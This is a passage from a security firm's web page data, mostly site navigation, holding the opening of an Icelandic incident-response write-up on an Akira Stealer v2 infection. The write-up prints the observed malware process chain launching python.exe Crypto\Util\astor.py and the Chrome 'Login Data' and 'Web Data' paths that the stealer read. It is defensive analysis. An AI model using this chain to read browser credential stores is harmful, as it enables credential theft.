[{"data":1,"prerenderedAt":15258},["ShallowReactive",2],{"sc:header-data-is":3,"sc:footer-data-is":489,"author-is-pascal-asch-1864737b7d2e83":518,"content-is-pascal-asch":548,"content-events-is-pascal-asch":15248,"authors_data:Pascal Asch":15249},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"is":13},{"title":14,"url":15,"alt":16},"Heim","/is","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"is":21},{"title":22,"description":23},"Workplace","Knúið af Microsoft 365 fyrir snjalla, örugga og sveigjanlega vinnustaði, með nútímalegri tækni og auðkennisþjónustum samþættum.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"is":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"is":34},{"title":35,"url":36},"Managed Intune","/is/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"is":40},{"title":41,"url":42},"Managed Entra","/is/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"is":46},{"title":47,"url":48},"Managed Workplace","/is/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"is":52},{"title":53,"url":54},"Consulting Services","/is/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"is":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"is":64},{"title":65,"url":66},"Microsoft Entra Suite","/is/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"is":70},{"title":71,"url":72},"Microsoft Intune","/is/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"is":76},{"title":77,"url":78},"Microsoft Windows","/is/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"is":82},{"title":83,"url":84},"Windows 365 Cloud PC","/is/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"is":88},{"title":89,"url":90},"Cloud Workplace Foundation","/is/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"is":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"is":100},{"title":101,"url":102},"Microsoft 365 Copilot","/is/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"is":106},{"title":107,"url":108},"Teams","/is/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"is":112},{"title":113,"url":114},"SharePoint & Power Platform","/is/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"is":118},{"title":119,"url":120},"Exchange Online","/is/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"is":124},{"title":125,"url":126},"Information Protection & Compliance","/is/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"is":130},{"title":131,"description":132},"Azure","Vöxtur með Azure: lækkaðu cloud-kostnað, auktu skilvirkni og knýðu áfram nýsköpun með IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"is":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"is":142},{"title":143,"url":144},"Azure Managed Services","/is/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"is":148},{"title":149,"url":150},"Azure Consulting","/is/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"is":154},{"title":155},"Sviðsmyndir",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"is":160},{"title":161,"url":162},"Skipuleggðu skýið þitt","/is/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"is":166},{"title":167,"url":168},"Flyttu í skýið","/is/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"is":172},{"title":173,"url":174},"Nýsköpun í rekstrinum þínum","/is/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"is":178},{"title":179,"url":180},"Endurhugsaðu VMware-stefnuna þína","/is/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"is":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"is":190},{"title":191,"url":192},"Azure Foundation","/is/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"is":196},{"title":197,"url":198},"Azure AI Foundation","/is/azure/azure-ai-foundation",{"name":86,"languages":200},{"is":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"is":205},{"title":206,"url":207},"Azure Data Foundation","/is/azure/azure-data-foundation",{"name":188,"languages":209},{"is":210},{"title":211,"url":212},"Azure Container Foundation","/is/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"is":216},{"title":217,"url":218},"Managed Dark Tenant","/is/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"is":222},{"title":223,"url":224},"Cloud Adoption Framework","/is/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"is":228},{"title":229,"url":230},"Cloud Competence Center","/is/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"is":234},{"title":235,"description":236,"emergency":237},"Security","Árvekni í skýinu með margverðlaunaðri 24/7 managed service, incident response og nútímalegri vörn fyrir innviðina þína.",{"text":238,"href":239,"skin":240,"icon":241},"Undir árás?","/is/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"is":249},{"title":250,"url":251},"Managed Red Tenant","/is/security/managed-red-tenant",{"name":214,"languages":253},{"is":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"is":259},{"title":260,"url":261},"Sentinel Data Lake","/is/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"is":265},{"title":266,"url":267},"Security Consulting","/is/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"is":274},{"title":275,"url":276},"Cloud Security Operations Center","/is/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"is":280},{"title":281,"url":282},"Global Secure Access","/is/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"is":286},{"title":287,"url":288},"MyWorkID","/is/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"is":295},{"title":296,"url":297},"Preventive Services","/is/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"is":301},{"title":302,"url":303},"Data Security Service","/is/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"is":307},{"title":308,"url":309},"Security Copilot Agents","/is/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"is":313},{"title":314,"url":315},"Innleiðing NIS2","/is/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"is":319},{"title":320,"description":321},"Vörur","Fylgivörur fyrir öruggt, 100 % cloud-native Microsoft-umhverfi sem styrkja samstarf, netauðkenningu og hugbúnaðarstjórnun.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"is":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Skýbundin hugbúnaðardreifing",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"is":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Skírteinadreifing úr skýinu",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"is":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Vinndu með staðbundnu Office 365-gögnin þín",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"is":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Flyttu gögnin þín milli netþjóna",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"is":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider for Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"is":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Auðkenning fyrir netið þitt",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"is":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Finndu tengiliði í Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"is":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Rauntímaeftirlit með Windows Autopilot",{"name":396,"languages":397},"casestudies",{"is":398},{"title":399,"url":400,"description":401},"Case Studies","/is/casestudies","Frumkvöðull í skýinu: Microsoft-samstarfsaðilinn þinn fyrir cloud-lausnir með blueprint-nálgun og sérþekkingu í Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"is":405},{"title":406,"description":401},"Fyrirtækið",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"is":411},{"title":412},"Um okkur",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"is":417},{"title":418,"url":419},"Staðreyndir og tölur","/is/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"is":423},{"title":424,"url":425},"Tengiliðir og staðsetningar","/is/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"is":429},{"title":430,"url":431}," glueckkanja Switzerland","/is/company/switzerland",{"name":433,"languages":434},"austria",{"is":435},{"title":436,"url":437},"glueckkanja Austria","/is/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"is":441},{"title":442},"Störf",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"is":447},{"title":448,"url":449},"Yfirlit yfir störf","/is/career",{"name":451,"languages":452},"company-young-professionals",{"is":453},{"title":454,"url":455},"Young Professionals","/is/young-professionals",{"name":457,"languages":458},"company-jobs",{"is":459},{"title":460,"url":461},"Laus störf","/is/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"is":465},{"title":466},"Nýjast",[468,474],{"name":469,"languages":470},"company-blog",{"is":471},{"title":472,"url":473},"Blogg","/is/blog",{"name":469,"languages":475},{"is":476},{"title":477,"url":478},"Viðburðir","/is/events",[480],{"name":481,"languages":482},"career-meta",{"is":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"is":487},{"title":488,"url":425,"active":484},"Tengiliður",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksIs":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privacy","/is/privacy",{"title":514,"url":515},"Imprint","/is/imprint",{"title":507,"url":517},"/is/cookies",{"id":519,"title":520,"body":521,"description":527,"extension":532,"meta":533,"name":520,"navigation":325,"otherLanguages":534,"path":544,"seo":545,"stem":546,"__hash__":547},"authors/pascal-asch.md","Pascal Asch",{"type":522,"value":523,"toc":528},"minimal",[524],[525,526,527],"p",{},"Pascal Asch ist Teil des Cyber Security Operations Centers (CSOC) von glueckkanja und auf die Analyse und Abwehr komplexer Bedrohungslagen spezialisiert. Sein Schwerpunkt liegt auf Incident Response, Threat Hunting und Malware-Analyse im Microsoft-Umfeld. Dabei verbindet er tiefgehendes technisches Know-how mit einem klaren Blick für forensische Zusammenhänge – von der ersten Auffälligkeit bis zur vollständigen Aufklärung eines Angriffs.",{"title":529,"searchDepth":530,"depth":530,"links":531},"",2,[],"md",{},{"en":535,"es":536,"sv":537,"fi":538,"da":539,"ko":540,"nl":541,"no":542,"ja":543},"Pascal Asch is part of the Cyber Security Operations Center (CSOC) at glueckkanja, specializing in the analysis and mitigation of complex threat scenarios. His focus lies in incident response, threat hunting, and malware analysis within Microsoft environments. He combines deep technical expertise with a sharp forensic mindset – from the first anomaly to the full resolution of an attack.","Pascal Asch forma parte del Cyber Security Operations Center (CSOC) de glueckkanja y está especializado en el análisis y la defensa frente a situaciones de amenaza complejas. Su enfoque se centra en Incident Response, Threat Hunting y análisis de malware en el entorno de Microsoft. Combina un profundo conocimiento técnico con una visión clara de las relaciones forenses, desde el primer indicio hasta el esclarecimiento completo de un ataque.","Pascal Asch är en del av glueckkanjas Cyber Security Operations Center (CSOC) och specialiserad på analys och avvärjning av komplexa hotbilder. Hans fokus ligger på Incident Response, Threat Hunting och malware-analys i Microsoft-miljö. Han förenar djup teknisk kompetens med en tydlig blick för forensiska samband, från den första avvikelsen till fullständig utredning av en attack.","Pascal Asch työskentelee glueckkanjan Cyber Security Operations Centerissä (CSOC) ja on erikoistunut monimutkaisten uhkatilanteiden analysointiin ja torjuntaan. Hänen painopisteenään ovat Incident Response, Threat Hunting ja haittaohjelma-analyysi Microsoft-ympäristössä. Hän yhdistää syvän teknisen osaamisen selkeään näkemykseen forensisista yhteyksistä ensimmäisestä poikkeamasta hyökkäyksen täydelliseen selvittämiseen.","Pascal Asch er en del af glueckkanjas Cyber Security Operations Center (CSOC) og specialiseret i analyse og afværgning af komplekse trusselsbilleder. Hans fokus ligger på Incident Response, Threat Hunting og malware-analyse i Microsoft-miljøet. Han kombinerer dybdegående teknisk knowhow med et klart blik for forensiske sammenhænge, fra den første anomali til den fuldstændige opklaring af et angreb.","Pascal Asch은 glueckkanja의 Cyber Security Operations Center(CSOC) 소속으로 복잡한 위협 상황의 분석과 방어를 전문으로 합니다. 그의 중점 분야는 Microsoft 환경에서의 Incident Response, Threat Hunting, 멀웨어 분석입니다. 그는 깊이 있는 기술적 노하우와 포렌식 맥락에 대한 명확한 시각을 결합하여, 최초의 이상 징후부터 공격의 완전한 규명에 이르기까지 대응합니다.","Pascal Asch is onderdeel van het Cyber Security Operations Center (CSOC) van glueckkanja en gespecialiseerd in de analyse en afweer van complexe dreigingssituaties. Zijn focus ligt op incident response, threat hunting en malware-analyse binnen het Microsoft-landschap. Daarbij combineert hij diepgaande technische kennis met een scherp oog voor forensische samenhang, van de eerste afwijking tot de volledige reconstructie van een aanval.","Pascal Asch er en del av Cyber Security Operations Center (CSOC) hos glueckkanja og spesialisert på analyse og avverging av komplekse trusselsituasjoner. Tyngdepunktet ligger på Incident Response, Threat Hunting og malware-analyse i Microsoft-miljøet. Han kombinerer dyp teknisk kompetanse med et klart blikk for forensiske sammenhenger, fra første avvik til fullstendig oppklaring av et angrep.","Pascal AschはglueckkanjaのCyber Security Operations Center（CSOC）のメンバーで、複雑な脅威状況の分析と防御を専門としています。重点はMicrosoft環境におけるIncident Response、Threat Hunting、マルウェア解析です。深い技術的知見と、フォレンジックの文脈を見通す視点を組み合わせ、最初の兆候から攻撃の全容解明までを担います。","/pascal-asch",{"title":520,"description":527},"pascal-asch","h9IFki986nfubTkh2vFlR-qx4IOL2kjI9sufDTKc3ao",[549,13075],{"id":550,"title":551,"author":552,"body":553,"cta":494,"description":562,"eventid":494,"extension":532,"hideInRecent":484,"layout":12949,"meta":12950,"moment":12954,"navigation":325,"path":13066,"seo":13067,"stem":13068,"tags":13069,"webcast":484,"__hash__":13074},"content_is/posts/2025-06-16-quiet-breach.md","Inni í Akira Stealer: full tæknileg greining á einingaskiptum stealer",[520],{"type":522,"value":554,"toc":12804},[555,560,563,571,574,593,596,614,623,626,629,653,661,672,679,682,685,700,707,710,713,727,731,733,739,744,747,750,762,771,778,781,787,790,794,796,801,808,811,815,817,820,846,852,858,862,864,867,871,873,876,878,884,887,892,895,905,908,911,931,934,940,947,949,955,958,964,967,1002,1005,1014,1020,1029,1032,1043,1046,1053,1055,1064,1074,1106,1112,1117,1139,1145,1148,1151,1157,1165,1172,1174,1177,1189,1192,1226,1232,1259,1268,1271,1276,1285,1287,1296,1302,1319,1322,1327,1361,1365,1368,1371,1377,1391,1397,1403,1405,1410,1414,1416,1496,1499,1503,1505,1510,1516,1521,1530,1535,1541,1552,1555,1560,1568,1574,1577,1581,1583,1594,1599,1624,1630,1639,1650,1657,1663,1667,1669,1675,1701,1704,1718,1721,1730,1733,1737,1739,1747,1750,1753,1766,1776,1783,1804,1807,1813,1817,1819,1822,1831,1843,1868,1874,1880,1883,1890,1893,1906,1913,1915,1922,1926,1928,1934,2032,2039,2046,2048,2051,2074,2077,2106,2109,2151,2154,2163,2166,2183,2189,2192,2201,2204,2217,2224,2228,2230,2237,2259,2266,2300,2303,2318,2325,2330,2341,2344,2348,2350,2353,2368,2375,2386,2397,2434,2441,2444,2448,2450,2456,2461,2501,2504,2519,2522,2531,2537,2540,2544,2546,2549,2558,2561,2608,2615,2619,2621,2627,2632,2661,2668,2670,2685,2689,2691,2694,2732,2738,2744,2748,2750,2769,2779,2786,2823,2830,2876,2884,2888,2890,2893,2921,2931,2938,2940,2945,2949,2951,2957,2961,2963,2970,2996,3003,3263,3266,3271,3274,3306,3311,3315,3317,3320,3324,3326,3329,3431,3434,3438,3440,3443,3606,3609,3632,3636,3638,3646,3891,3894,3923,3927,3929,3962,3965,3968,3998,4002,4004,4010,4015,4018,4036,4039,4047,4052,4055,4135,4143,4146,4152,4160,4164,4166,4172,4177,4180,4197,4204,4209,4215,4277,4290,4295,4301,4328,4331,4369,4372,4377,4380,4394,4398,4400,4405,4425,4432,4438,4440,4444,4446,4452,4456,4458,4462,4464,4469,4496,4502,4506,4508,4514,4531,4555,4562,4566,4568,4571,4580,4594,4597,4601,4603,4616,4619,4628,4634,4641,4643,4647,4649,4659,4663,4665,4670,4684,4698,4702,4704,4783,4786,4792,4794,4799,4857,4864,4989,4992,5137,5141,5143,5146,5200,5203,5207,5209,5216,5269,5272,5276,5278,5281,5333,5336,5340,5342,5349,5401,5404,5408,5410,5417,5458,5461,5465,5467,5474,5556,5559,5563,5565,5568,5615,5618,5623,5626,5629,5633,5635,5640,5646,5651,5657,5662,5668,5673,5679,5684,6085,6089,6091,6131,6135,6137,6145,6149,6151,6161,6166,6191,6212,6217,6304,6308,6310,6403,6406,6412,6419,6421,6424,6479,6535,6542,6544,6547,6582,6616,6623,6625,6628,6661,6695,6702,6704,6707,6776,6820,6827,6829,6832,6860,6890,6897,6899,6902,6930,6953,6962,6964,6967,6992,7030,7034,7036,7069,7073,7075,7078,7081,7084,7087,7090,7095,7120,7125,7155,7161,7170,7192,7401,7405,7407,7414,7512,7515,7519,7521,7528,7621,7631,7637,7640,7645,7651,7679,7684,7714,7767,7786,7789,7794,7843,7847,7849,7852,7856,7858,7864,7984,8004,8008,8010,8015,8089,8110,8114,8116,8119,8122,8125,8128,8227,8235,8239,8241,8246,8281,8302,8306,8308,8311,8314,8322,8325,8413,8427,8431,8433,8436,8439,8532,8538,8540,8545,8549,8551,8554,8619,8636,8639,8673,8676,8680,8682,8687,8701,8746,8772,8777,8790,8866,8921,8925,8927,8930,8936,8977,8987,8993,9003,9007,9009,9012,9041,9067,9072,9076,9078,9085,9092,9094,9100,9155,9182,9186,9188,9191,9256,9263,9302,9306,9308,9314,9329,9332,9367,9371,9373,9380,9424,9438,9444,9451,9453,9456,9460,9462,9465,9499,9502,9527,9531,9533,9538,9541,9565,9589,9593,9595,9598,9622,9626,9628,9631,9651,9655,9657,9660,9667,9780,9784,9829,9833,9835,9842,9876,9931,9936,9939,9943,9945,9948,9952,9954,9957,9963,9967,9969,9972,10027,10042,10046,10048,10059,10128,10137,10142,10145,10189,10191,10195,10197,10200,10289,10294,10423,10427,10429,10432,10437,10510,10528,10533,10553,10561,10566,10572,10587,10604,10610,10668,10688,10693,10710,10715,10758,10772,10775,10779,10781,10786,10790,10792,10799,10806,10810,10812,10923,10930,10934,10936,10942,10947,11028,11035,11042,11046,11048,11051,11080,11087,11091,11093,11097,11099,11106,11109,11112,11115,11260,11263,11267,11269,11272,11276,11278,11281,11316,11322,11326,11328,11331,11357,11360,11366,11370,11372,11377,11394,11400,11404,11406,11410,11412,11428,11451,11458,11473,11492,11495,11499,11501,11512,11516,11518,11952,11955,11959,11961,11967,11970,11973,11979,11982,11993,11999,12002,12007,12011,12013,12016,12021,12035,12039,12041,12337,12340,12344,12346,12458,12461,12465,12467,12521,12524,12528,12530,12694,12697,12701,12703,12744,12747,12751,12753,12756,12759,12762,12765,12768,12771,12776,12780,12782,12785,12788,12791,12794,12797,12800],[556,557,559],"h1",{"id":558},"formáli","Formáli",[525,561,562],{},"{: .h3-font-size}",[525,564,565,566,570],{},"Þetta byrjaði eins og svo margar nútímaárásir: í kyrrþey. Defender-alert með lága vissu, ",[567,568,569],"strong",{},"\"Suspicious sequence of exploration activities\"",", kom upp meðan nýr viðskiptavinur var í onboarding inn í glueckkanja Cyber Security Operations Center (CSOC) okkar.",[525,572,573],{},"Það voru engar signature-samsvaranir. Engin flokkun sem malware. Engin viðbrögð frá rauntímavörn. Aðeins ein hegðunarfylgni í Microsoft 365 Defender, grafin í kliðnum, og samt ótvírætt röng.",[525,575,576,577,581,582,585,586,589,590],{},"Við triage á alertinu vakti ein tiltekin aðgerð athygli mína: ",[578,579,580],"code",{},"python.exe"," hafði opnað bæði skrárnar ",[578,583,584],{},"Login Data"," og ",[578,587,588],{},"Web Data"," inni í Chromium-prófíl. Microsoft Defender stigmagnaði þetta samstundis í atvik með hátt alvarleikastig, ",[567,591,592],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[525,594,595],{},"Þetta var ekki falskt jákvætt. Þetta var toppurinn á einhverju dýpra.",[525,597,598,599,602,603,606,607,610,611,613],{},"Þegar ég rakti telemetríuna aftur á bak fann ég almennt binary í startup-möppunni, ",[578,600,601],{},"Updater.exe",", sem ræsti NodeJS-byggðan wrapper (",[578,604,605],{},"main.exe",") sem keyrði skipanalínu til að ræsa script sem hét ",[578,608,609],{},"astor.py"," í gegnum ",[578,612,580],{},".",[615,616,621],"pre",{"className":617,"code":619,"language":620,"meta":529},[618],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text",[578,622,619],{"__ignoreMap":529},[525,624,625],{},"Scriptið sótti ekki bara credentials, það keyrði runu af könnunarskrefum eftir kompromíseringu, þar á meðal registry-fyrirspurnir, fingrafar á kerfinu og upptalningu sem tók mið af réttindum. Það vann af skurðnákvæmni og hermdi eftir eðlilegri hegðun kerfisins til að komast hjá detection. Og það virkaði, næstum því.",[525,627,628],{},"Þegar fyrstu viðbrögð hófust:",[630,631,632,642,650],"ul",{},[633,634,635,637,638,641],"li",{},[578,636,601],{}," var merkt af aðeins ",[567,639,640],{},"1 af 69"," engines á VirusTotal.",[633,643,644,646,647,649],{},[578,645,605],{},", ",[578,648,609],{}," og allir tengdir hlutar voru í raun ekki merktir á VirusTotal.",[633,651,652],{},"Engin skrá var undirrituð. Ekkert upphafið samhengi. Aðeins \"venjuleg\" ferli að gera mjög óvenjulega hluti.",[525,654,655,657,658,660],{},[578,656,601],{}," snerti engin credentials. Það verkefni var frátekið fyrir ",[578,659,609],{},", Python-payloadinn sem keyrði í minni, skrá sem skildi nánast engin spor eftir sig samkvæmt hönnun.",[525,662,663,664,667,668,671],{},"Innan ",[567,665,666],{},"21 mínútu"," var kerfið sem varð fyrir árásinni einangrað frá netinu. Innan ",[567,669,670],{},"70 mínútna"," var öllum credentials skipt út á öllum viðkomandi sviðum: innri auðkennum, SaaS-pöllum, þjónustum þriðja aðila.",[525,673,674,675,678],{},"En hinn raunverulegi vendipunktur kom þegar við drógum út og afkóðuðum Python-payloadinn að fullu. Það sem við fundum var ekki almennur stealer, heldur sérsniðin útgáfa af ",[567,676,677],{},"Akira Stealer v2",", malware-fjölskyldu sem dreift er í viðskiptaskyni og seld í gegnum Telegram.",[525,680,681],{},"Þökk sé okkar eigin threat intelligence og reverse engineering getu gátum við endurgert alla virkni malware-sins, dregið út alla innbyggða indikatora og skilið í smáatriðum rökvísi þess við staging, exfiltration og val á credentials.",[525,683,684],{},"Það sem meira er, við létum ekki staðar numið við tæknilega attribution. Við gengum lengra.",[525,686,687,688,691,692,695,696,699],{},"Við gátum afhent viðskiptavininum ",[567,689,690],{},"heildstætt gagnasafn yfir exfiltreruð credentials",": yfir ",[567,693,694],{},"100 einkvæmar samsetningar notandanafns og lykilorðs",", þar á meðal aðgangsupplýsingar að cloud-þjónustum, CRM-kerfum, innri pöllum og jafnvel persónulegum verkfærum lykilstarfsmanna. Þjófnaðurinn hafði staðið yfir ",[567,697,698],{},"mánuðum saman",", og við gátum gert grein fyrir honum öllum.",[525,701,702,703,706],{},"Út frá því sem við lærðum af þessu máli smíðuðum við ",[567,704,705],{},"greiningartól fyrir eftirmála sýkingar"," sem skannar kerfin sem urðu fyrir árásinni, endurgerir aðgangsmynstur að credentials og býr til ítarlegar forensic-skýrslur sem kortleggja nákvæmlega hverju var stolið, hvenær og hvaðan.",[525,708,709],{},"Við sýnum stutta innsýn í þennan skanna í lok skýrslunnar.",[525,711,712],{},"Því þetta er meira en bara eitt atvik.\nSvona rannsökum við. Svona verjum við.",[525,714,715,723,726],{},[567,716,717,718,613],{},"Velkomin í ",[719,720,722],"a",{"href":721},"/is/security/cloud-security-operations-center/","glueckkanja CSOC",[724,725],"br",{},"\nSvona vinnum við, því innbrot bíða ekki.",[556,728,730],{"id":729},"_1-upphaflegt-atvik-og-samantekt-á-triage","1. Upphaflegt atvik og samantekt á triage",[525,732,562],{},[525,734,735,736,738],{},"Þann 31. mars 2025 gaf Microsoft Defender for Endpoint út alert merkt ",[567,737,569],{}," á Windows 10 64-bita endpoint. Ég hóf triage út frá þessu merki og fór yfir kerfið sem varð fyrir árásinni með hjálp ferlatrésins, tímalínu kerfisins og þeirra gagna sem Defender hafði tengt saman.",[740,741,743],"h2",{"id":742},"_11-triage-byggt-á-tímalínu","1.1 Triage byggt á tímalínu",[525,745,746],{},"{: .h4-font-size}",[525,748,749],{},"Alertið benti á runu ferla sem kallaði á nánari skoðun. Við fyrstu yfirferð sá ég eftirfarandi aðgangsmynstur að Chrome-browsergögnum í staðbundna notandaprófílnum:",[630,751,752,757],{},[633,753,754],{},[578,755,756],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[633,758,759],{},[578,760,761],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[525,763,764,765,767,768,770],{},"Þessi aðgangur var ræstur af ferli sem hét ",[578,766,601],{},". Þótt Microsoft Defender hefði ekki merkt binary-ið út frá heuristískri eða hegðunarlegri greiningu fann ég detection fyrir ",[578,769,601],{}," á VirusTotal, merkt af einni einustu engine á þeim tímapunkti.",[525,772,773],{},[774,775],"img",{"alt":776,"src":777},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[525,779,780],{},"Öll keyrslukeðjan sem sást var svona:",[615,782,785],{"className":783,"code":784,"language":620,"meta":529},[618],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[578,786,784],{"__ignoreMap":529},[525,788,789],{},"Á þessu stigi hafði engin dýpri statísk eða dýnamísk greining á viðkomandi skrám farið fram. Áherslan mín var á að skilja hegðunina og samhengið á yfirborðsstigi. Heiti ferlanna og skráaslóðirnar voru almenn, og engin grunsamleg argument á skipanalínu komu fram önnur en hlekkjaða Python-keyrslan.",[740,791,793],{"id":792},"_12-fyrstu-viðbrögð","1.2 Fyrstu viðbrögð",[525,795,746],{},[525,797,663,798,800],{},[567,799,666],{}," frá fyrsta alertinu hóf ég einangrun hostsins með einangrunareiginleikum Defender for Endpoint. Markmiðið var að hindra mögulega frekari útbreiðslu eða exfiltration.",[525,802,803,804,807],{},"Innan fyrstu ",[567,805,806],{},"70 mínútnanna"," héldum við áfram og skiptum út þeim credentials sem vitað var að væru notuð á hostinum sem varð fyrir árásinni, og náði það til innri kerfa, SaaS-palla og mikilvægra birgja þriðja aðila.",[525,809,810],{},"Reverse engineering-vinnan hófst eftir fyrstu innilokun. Næstu kaflar skjalfesta þá tæknilegu djúpköfun sem fylgdi í kjölfarið til að rannsaka innbrotið.",[740,812,814],{"id":813},"_13-samantekt-viðbragða-hröð-gagnsæ-áhrifadrifin","1.3 Samantekt viðbragða – hröð, gagnsæ, áhrifadrifin",[525,816,746],{},[525,818,819],{},"Viðbrögð okkar sameinuðu hraða, sérþekkingu og rekstrarleg gæði, með stuðningi af reyndum verkferlum og fullu gagnsæi fyrir viðskiptavininn.",[630,821,822,828,834,840],{},[633,823,824,827],{},[567,825,826],{},"Frá detection að fullri innilokun á innan við 90 mínútum","\nDefender-alert, einangrun frá neti, antivirus-skönnun og afturköllun credentials voru framkvæmd hratt og samstillt.",[633,829,830,833],{},[567,831,832],{},"Ítarleg forensic-viðbrögð innan 48 klukkustunda","\nÞar með talin heildargreining á diski og minni, yfirferð á browser-artifacts, detection á credential dumping og hegðunarleg endurgerð á 